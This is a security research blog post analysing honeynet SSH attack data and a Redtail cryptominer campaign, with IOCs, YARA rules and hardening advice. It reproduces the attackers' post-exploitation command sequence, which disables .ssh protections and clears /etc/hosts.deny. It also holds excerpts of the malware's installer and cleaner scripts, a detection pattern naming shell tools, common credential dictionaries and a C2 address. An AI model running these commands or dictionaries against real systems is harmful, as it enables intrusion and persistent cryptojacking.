Watching the Threat Actor from a Honeynet What do the 23 million events captured in our Honeynet tell us so far this year?

Honeynet SSH attack analysis is the core of this study based on 23.5 million real-world events captured throughout 2026. This honeynet SSH attack analysis provides direct insight into how threat actors operate against internet-exposed infrastructure.

Honeynet cybersecurity SSH attack analysis: architecture and deployment

T-Pot is a honeypot platform originally developed by Deutsche Telekom that integrates multiple sensors in a Docker stack, with Elasticsearch as the backend and Kibana for analysis. In this distributed architecture, we deployed multiple sensors to capture traffic targeting services such as SSH, SMB, HTTP, and FTP.

The Primary Vector Is a Dictionary Attack Against SSH

From the 527,654 Cowrie events (SSH Honeypot), the distribution by event type reveals the complete anatomy of the attack:

The data shows 4,727 successful authentications out of 84,380 connections, resulting in a 5.6% success rate. In other words, against infrastructure with weak or default credentials, 1 in every 18 attempts would have resulted in a compromise.

The Attack Dictionaries

The analysis of tested credentials reveals two distinct patterns operating in parallel.

The classic pattern comes as no surprise: root leads usernames with 18,419 attempts (26% of the total), followed by admin, ubuntu, user, and database services such as postgres (1,404), oracle (1,238), and mysql (577). Passwords are equally predictable: 123456 (3,814), 12345678 (2,245), password (1,750), qwerty (988).

The pattern we did not expect is the one that gave rise to this post.

Among the top 30 most frequent usernames: sol (4,081), solana (3,609), solv (1,668), validator (387), lighthouse (329), node (310). Among passwords: solana (1,265), sol (1,176), validator (609), solv (578), node (441).

This is not a coincidence. The official Agave Validator documentation recommends creating a user named sol to run the validator node. Since this is public information, attackers are actively using it to build specialized dictionaries targeting exposed blockchain infrastructure.

The hypothesis is confirmed when cross-referencing with successful logins: sol moves to position 2 with 422 successes, solana to position 3 with 331. There are threat actors specifically hunting Solana nodes exposed on the Internet.

Two additional credentials deserve mention. 345gs5662d34 appears as both username and password with 205 successes, these credentials have been documented in dictionary attack campaigns for several years, and n8n with 32 successful logins indicates that dictionaries now include workflow automation platforms that have gained popularity in recent years.

The Threat Actor’s Infrastructure

The analysis of source ASNs for successful logins shows the following distribution:

Microsoft Azure, Oracle Cloud, and Google Cloud appear among the sources of successful logins against the honeypot. This means their free or low-cost cloud platforms are being used as attack infrastructure. A threat actor can create a free account on Azure or GCP and have attack capability within minutes, with high-reputation IPs that many security controls do not block by country or reputation.

This has direct implications for geolocation or basic ASN reputation-based blocking strategies, as these will prove insufficient when the attacker operates from legitimate, reputable cloud provider infrastructure.

Post-Exploitation

Of the 44,142 commands executed post-authentication, frequency analysis reveals that the most frequent commands have practically the same count (~2,040 each). This tells us that what we observed is the execution of an automated script that runs this sequence on every successful session.

The complete sequence, reconstructed from the logs, is as follows:

# Phase 1: System reconnaissance
uname -a                                              # OS, kernel, architecture
uname -m                                              # specific architecture
cat /proc/cpuinfo | grep name | wc -l                 # number of CPUs
cat /proc/cpuinfo | grep name | head -n1              # CPU model
free -m | grep Mem | awk '{print $2,$3,$4,$5,$6,$7}'  # available memory
df -h | head -n 2 | awk 'FNR == 2 {print $2;}'        # disk space
lscpu | grep Model                                    # CPU verification
ls -lh $(which ls)                                    # binary versions
which ls                                              # system paths
whoami                                                # current user
w                                                     # logged-in users
top                                                   # active processes
crontab -l                                            # scheduled tasks

# Phase 2: Removal of .ssh protections
cd ~; chattr -ia .ssh; lockr -ia .ssh

# Phase 3: Trace cleanup
rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh
pkill -9 secure.sh; pkill -9 auth.sh
echo > /etc/hosts.deny
pkill -9 sleep

The purpose of Phase 1 is clear: assess the system’s compute capacity for mining. CPU cores, speed, available memory, and disk space are exactly the parameters a cryptominer operator evaluates before deploying the payload.

The Phase 2 command, chattr -ia .ssh, removes the immutable and append-only attributes from the .ssh directory. This is executed to bypass a potential protection of the .sshdirectory using chattr +i, which prevents modifications. By removing the protection, it prepares the system to inject its SSH public key and establish persistence on the compromised host, regardless of any future password changes.

Phase 3 indicates the threat actor is looking for scripts associated with other malware families, specifically Mirai Malware — pkill -9 secure.sh and the deletion of files in /tmp are focused on removing other malware that may already be present on the system. By clearing /etc/hosts.deny, it ensures future C2 tools can connect without interference.

The Identified Payloads

From the analysis of the 3,559 file download events, we identified 9 unique files on the server. Running the file command on each revealed:

Four ELF binaries for four different architectures, plus two support scripts and an SSH public key to establish persistence on the compromised host.

The setup.sh Script

Script 783adb7a (setup.sh) reveals the malware family name directly in its code:

get_random_string() {
  # ...
  echo "redtail"                # fallback string generator
  return 1
}
# ...
cp -r "$CURR"/redtail.* "$i"    # copies binaries by architecture
cat redtail.$ARCH >$FILENAME    # runs the appropriate one
chmod +x $FILENAME
./$FILENAME ssh                 # launches payload with 'ssh' argument
rm -rf redtail.*                # cleans up traces

The malware is called Redtail. The script detects the victim system’s architecture, generates a random filename with a leading dot to hide it, executes the corresponding binary with the ssh argument, and deletes all original files. Execution leaves no binaries named redtail.*, only the process running under a random name.

The clean.sh Script

Script d46555af includes the following code:

systemctl disable c3pool_miner
systemctl stop c3pool_miner
# ...
for user_cron in /var/spool/cron/crontabs/*; do
  [ -f "$user_cron" ] && clean_crontab "$user_cron"
done

c3pool is a Monero mining pool. This script runs before the installer to remove other malware, specifically from a group that uses c3pool. The clean_crontab function filters exactly the most common patterns found in malicious crontabs:

grep -vE 'wget|curl|/dev/tcp|/tmp|\.sh|nc|bash -i|sh -i|base64 -d' "$1"

The SSH Key Was the Most Downloaded Payload

The most downloaded file, 2,208 times, representing 62% of total downloads is a 389-byte OpenSSH public key. In the VirusTotal database it is flagged as malicious by 29 out of 61 detection engines, with detections including:

• DrWeb: Linux.BtcMine.271

• Sophos / ZoneAlarm: Linux/Miner-ADV

• TrendMicro: Trojan.SH.MALKEY.AA

• AhnLab: Backdoor/Text.CryptoBot

Another interesting data point from the VirusTotal query are the filenames under which the file was submitted:

20260317 → /home/lg/.ssh/authorized_keys
20260312 → /home/n8n/.ssh/authorized_keys
20260310 → /home/ann/.ssh/authorized_keys
20260103 → /home/claude/.ssh/authorized_keys
20260101 → /home/user1/.ssh/authorized_keys
20251230 → /root/.ssh/authorized_keys
20251225 → /home/admin/.ssh/authorized_keys
20251211 → /home/bitcoin/.ssh/authorizd_keys
20251219 → /home/exploit/.ssh/authorized_keys

This same key has been injected into compromised systems since December 2025, with 4,017 submissions to VirusTotal and 135 unique sources that have reported it. The campaign has been active for at least 16 months using the same SSH key.

Honeynet SSH attack analysis: Redtail malware findings

Redtail is not new. Its first public documentation dates back to December 2023, when Cyber Security Associates (CSA) identified it abusing Log4Shell (CVE-2021-44228). Researcher Patryk Machowiak published the first detailed technical analysis in January 2024, documenting its use of XMRig in memory and encrypted communication via ssh-agent.

The family evolved rapidly. In May 2024, Akamai Security Research (Barnett, Kupchik, Zavodchik) documented a variant exploiting CVE-2024-3400 in PAN-OS with CVSS 10. This variant incorporated private mining pools, anti-analysis techniques (multiple forks to hinder debugging, active GDB killing), and an XMRig configuration encrypted and embedded directly in the binary. Akamai researchers noted that the use of private pools resembles a Lazarus Group tactic, though without confirmed attribution.

In January 2025, Cody Hales at the SANS Internet Storm Center documented the same family from his personal honeypot between August and November 2024. The hashes of clean.sh and setup.sh he captured are the same ones we captured in 2026. The script d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e is explicitly referenced in that diary entry. The same toolset has been operational since at least October 2024.

In November 2025, Mario Candela / Beelzebub Honeypot documented the first evidence of Redtail targeting exposed Docker APIs (port 2375), with C2 at 178.16.55.224 (Railnet LLC) and User-Agent string libredtail-http.

What we captured in 2026 represents a variant with ELF binaries not previously reported on VirusTotal, new samples from a long-running campaign, actively maintained and updated.

Attack Chain Sequence

Threat Actor Infrastructure

P0f recorded 15,459,411 connections during the period, providing the most complete map of the infrastructure used by threat actors. The highest-volume ASNs are:

Alsycon B.V. tops the list with 2.2 million connections. Alsycon is a Dutch VPS provider documented in multiple honeypot analyses as a primary source of SSH brute force. A French researcher’s analysis of this provider in 2025 concluded that “Alsycon’s servers are used almost exclusively for SSH brute force.”

The presence of Brazilian residential ISPs such as InterOuro, EVEO, RVA Telecom, and PORTO NET, collectively accounting for more than 1.3M connections, indicates that Brazil is not merely a hosting transit country, but that compromised IoT or residential devices are being actively used as botnet nodes.

Geographically, Brazil leads with 4,348,683 P0f connections, followed by the United States (3,610,596) and the Netherlands (2,327,434). Mexico appears in 6th place with 418,666 connections.

An important note on geographic interpretation: the country of origin of an IP address is not necessarily the country of the threat actor. The top positions largely reflect where datacenters and ISPs with the most compromised devices or available hosting infrastructure are located. The actual threat actor can operate from anywhere.

Indicators of Compromise (IOCs)

For defensive teams, we list the IOCs identified and cross-referenced against existing threat intelligence:

File Hashes (SHA256)

# Malicious SSH key (Redtail backdoor)
a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2
VT Detection: 29/61 | Linux.BtcMine.271 | Linux/Miner-ADV | Trojan.SH.MALKEY.AA

# Cleaner script (uninstalls c3pool and competitors)
d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e
VT Detection: 25/72 (malicious behavior documented)

# Installer script (setup.sh / Redtail launcher)
783adb7ad6b16fe9818f3e6d48b937c3ca1994ef24e50865282eeedeab7e0d59
VT Detection: 20/57 (malicious behavior documented)

# Redtail ELF binaries
59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5  (x86-64, 1.8MB)
048e374baac36d8cf68dd32e48313ef8eb517d647548b1bf5f26d2d0e2e3cdc7  (i386, 1.7MB)
dbb7ebb960dc0d5a480f97ddde3a227a2d83fcaca7d37ae672e6a0a6785631e9  (ARM aarch64, 1.5MB)
3625d068896953595e75df328676a08bc071977ac1ff95d44b745bbcb7018c6f  (ARM EABI5, 1.2MB)

YARA Rules for Detection

rule Redtail_Installer_Script {
    meta:
        description = "Detects the Redtail cryptominer installer script"
        author = "Silent4Labs"
        date = "2026-03-17"
        reference = "https://blog.silent4business.com"
        hash = "783adb7ad6b16fe9818f3e6d48b937c3ca1994ef24e50865282eeedeab7e0d59"
    strings:
        $s1 = "redtail" ascii nocase
        $s2 = "c3pool_miner" ascii
        $s3 = "chattr -ia .ssh" ascii
        $s4 = "get_random_string" ascii
        $s5 = "./$FILENAME ssh" ascii
    condition:
        3 of them
}

rule Redtail_SSH_Backdoor {
    meta:
        description = "Detects the SSH public key used as a backdoor by Redtail"
        author = "Silent4Labs"
        date = "2026-03-17"
        hash = "a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2"
    strings:
        $ssh_rsa = "ssh-rsa AAAAB3NzaC1yc2EAAAABJ" ascii
        $comment = "mdrfckr" ascii
    condition:
        all of them
}

Conclusions from honeynet cybersecurity SSH attack analysis

The data from this Honeynet converges into five actionable recommendations.

1. Disable password authentication on SSH. The 5.6% success rate we observed demonstrates that password authentication, even with seemingly reasonable passwords, is insufficient against specialized dictionary attacks. Migrate to exclusive public key authentication; the implementation time does not justify the residual risk.

2. Monitor chattr -ia .ssh and modifications to authorized_keys. This is the most consistent indicator of compromise in the Redtail campaign. A process that removes immutable attributes from .ssh or modifies authorized_keys outside your configuration management workflow is a high-fidelity alert.

3. Do not rely on geolocation as a security control. Azure, GCP, and OCI appear among the sources of successful logins. A threat actor can use legitimate cloud infrastructure from any provider to launch attacks. IP or country-based controls are insufficient for this type of threat.

4. If you operate blockchain infrastructure (Solana nodes, Ethereum, validators), assume you are a specific target. Attack dictionaries already include the usernames that official documentation recommends for these nodes.

5. Audit your authorized_keys file. A single 389-byte file, undetected by 32 of 61 engines, maintained persistence across hundreds of compromised systems for over 16 months. Run grep -r "mdrfckr" /home/*/.ssh/ /root/.ssh/ on every system you manage. If it returns a result, the host is compromised.

References for honeynet SSH attack analysis

This honeynet SSH attack analysis confirms that automated attacks remain highly effective against exposed systems.

• Patryk Machowiak — First technical documentation of Redtail, January 2024

• Akamai Security Research (Barnett, Kupchik, Zavodchik) — Analysis of PAN-OS CVE-2024-3400 variant, May 2024. https://www.akamai.com/blog/security-research/2024-redtail-cryptominer-pan-os-cve-exploit

• Forescout — Variant via CVE-2024-4577 (PHP CGI), July 2024. https://www.forescout.com/blog/new-redtail-malware-exploited-via-php-security-vulnerability

• Cody Hales / SANS Internet Storm Center — Honeypot analysis, January 2025. https://isc.sans.edu/diary/31568 — The clean.sh hashes documented in this diary entry match those captured in our Honeynet.

• Cybaverse / MSP Corner — Deep dive into Redtail tactics, January 2025. https://www.cloudtango.net/blog/2025/01/10/unveiling-redtail-a-deep-dive-into-cryptocurrency-mining-malware/

• Mario Candela / Beelzebub Honeypot — First evidence of Redtail targeting Docker APIs, November 2025. https://itnext.io/redtail-cryptominer-first-evidence-of-docker-api-targeting-c061096443f8

• Akamai Hunt Team (Yonathan Gilvarg) — New Docker variant with competitor lockout, September 2025. https://www.akamai.com/blog/security-research/new-malware-targeting-docker-apis-akamai-hunt

• ASEC / AhnLab — Linux SSH malware statistics Q4 2025, January 2026. https://asec.ahnlab.com/en/92004/

• Innora.ai — XMRig cryptojacking analysis on Hetzner Cloud, March 2026. https://innora.ai/blog/cloud-cryptojacking-xmrig-hetzner-rescue-mode-analysis

• Malpedia — Redtail malware family entry. https://malpedia.caad.fkie.fraunhofer.de/details/elf.redtail

• Agave / Solana Validator Docs — Official best practices documentation for Solana validators (source of targeted usernames). https://docs.anza.xyz/operations/best-practices/security